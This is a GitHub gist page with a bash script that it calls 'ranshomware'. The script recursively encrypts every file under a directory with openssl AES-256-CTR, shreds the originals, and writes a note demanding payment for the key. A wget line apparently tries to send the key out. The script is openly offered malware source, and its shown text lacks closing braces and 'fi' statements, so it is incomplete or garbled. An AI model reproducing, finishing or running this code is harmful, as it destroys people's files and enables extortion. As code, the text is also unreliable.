Skip to content

Instantly share code, notes, and snippets.

Created May 31, 2017
What would you like to do?
key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
wget "$key" -q -O /dev/null
function ranshomware () {
local f;
iv=$[ $iv + 1]
if [ -d "$f" ]; then
for sf in "$f"/*; do ranshomware "$sf"; done;
echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
if [ -f "$f" ]; then
openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
shred "$f"
mv "$f".enc "$f"
ranshomware ranshomwared
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment